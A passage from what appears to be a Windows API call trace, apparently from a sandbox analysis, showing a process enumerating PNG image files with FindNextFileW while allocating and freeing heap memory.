ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb8c, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_s.png", cAlternateFileName="")) returned 1 [0080.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.520] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f4ff0 [0080.520] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241530 [0080.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.521] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8296d2cc, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x8296d2cc, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x7fb7, dwReserved0=0x0, dwReserved1=0x0, cFileName="diner_settings.png", cAlternateFileName="")) returned 1 [0080.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.521] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5010 [0080.521] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241638 [0080.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.522] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82993429, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82993429, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x876e, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower.png", cAlternateFileName="")) returned 1 [0080.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.522] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.522] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5030 [0080.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241740 [0080.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.523] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829df6e3, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x829df6e3, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x141, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_dot.png", cAlternateFileName="")) returned 1 [0080.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.523] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.523] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5050 [0080.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241848 [0080.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.524] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82993429, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82993429, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2866a741, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x184, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_h.png", cAlternateFileName="")) returned 1 [0080.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.524] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.524] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5070 [0080.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241950 [0080.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.525] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829b9586, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x829b9586, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287c138f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x1b7, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_m.png", cAlternateFileName="")) returned 1 [0080.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.525] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.525] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5090 [0080.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241a58 [0080.526] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.526] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x829b9586, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x829b9586, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287c138f, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xc14, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_s.png", cAlternateFileName="")) returned 1 [0080.526] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f50b0 [0080.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241b60 [0080.527] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.527] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a05840, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a05840, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287e74ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x827b, dwReserved0=0x0, dwReserved1=0x0, cFileName="flower_settings.png", cAlternateFileName="")) returned 1 [0080.527] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.528] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f50d0 [0080.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241c68 [0080.528] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x5f00) returned 0x12292f0 [0080.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0x124a7c8) returned 1 [0080.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.529] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a05840, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a05840, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287e74ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x3cfe, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern.png", cAlternateFileName="")) returned 1 [0080.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.529] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.529] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f50f0 [0080.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241d70 [0080.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.530] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a51afa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a51afa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x287e74ed, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb96, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_dot.png", cAlternateFileName="")) returned 1 [0080.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.530] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.530] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5110 [0080.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241e78 [0080.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.531] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a2b99d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a2b99d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2880d64b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb6a, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_h.png", cAlternateFileName="")) returned 1 [0080.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.531] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.531] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5130 [0080.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1241f80 [0080.532] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.532] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a2b99d, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a2b99d, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2880d64b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb7c, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_m.png", cAlternateFileName="")) returned 1 [0080.532] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5150 [0080.533] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1242088 [0080.533] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.534] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a51afa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a51afa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2880d64b, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xbde, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_s.png", cAlternateFileName="")) returned 1 [0080.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.534] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5170 [0080.534] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1242190 [0080.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.535] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a51afa, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a51afa, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288337a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x51d1, dwReserved0=0x0, dwReserved1=0x0, cFileName="modern_settings.png", cAlternateFileName="")) returned 1 [0080.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.535] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.535] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5190 [0080.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x1242298 [0080.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.536] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a77c57, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a77c57, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288337a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x6408, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty.png", cAlternateFileName="")) returned 1 [0080.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.536] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.536] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f51b0 [0080.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12423a0 [0080.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.537] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aea06e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82aea06e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x288337a9, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb57, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_dot.png", cAlternateFileName="")) returned 1 [0080.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.537] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.537] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f51d0 [0080.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12424a8 [0080.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.538] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82a9ddb4, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82a9ddb4, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28859907, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_h.png", cAlternateFileName="")) returned 1 [0080.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.538] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.538] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f51f0 [0080.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12425b0 [0080.539] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.539] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82ac3f11, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82ac3f11, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28859907, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xba3, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_m.png", cAlternateFileName="")) returned 1 [0080.539] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5210 [0080.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12426b8 [0080.540] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.540] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82aea06e, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82aea06e, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x28859907, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0xb67, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_s.png", cAlternateFileName="")) returned 1 [0080.540] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.541] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5230 [0080.541] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12427c0 [0080.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.542] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x82b101cb, ftCreationTime.dwHighDateTime=0x1ca0403, ftLastAccessTime.dwLowDateTime=0x82b101cb, ftLastAccessTime.dwHighDateTime=0x1ca0403, ftLastWriteTime.dwLowDateTime=0x2887fa65, ftLastWriteTime.dwHighDateTime=0x1c9ea0e, nFileSizeHigh=0x0, nFileSizeLow=0x702e, dwReserved0=0x0, dwReserved1=0x0, cFileName="novelty_settings.png", cAlternateFileName="")) returned 1 [0080.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.542] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.542] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x80) returned 0xa256b8 [0080.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x18) returned 0x11f5250 [0080.543] RtlAllocateHeap (HeapHandle=0x940000, Flags=0x8, Size=0x100) returned 0x12428c8 [0080.543] RtlFreeHeap (HeapHandle=0x940000, Flags=0x0, BaseAddress=0xa256b8) returned 1 [0080.543] FindNextFileW (in: hFindFile=0x2e8f80, lpFindFileData=0x119ec9c | out: lpFindFileData=0x119ec9c*(dwFileAttributes=0x20, 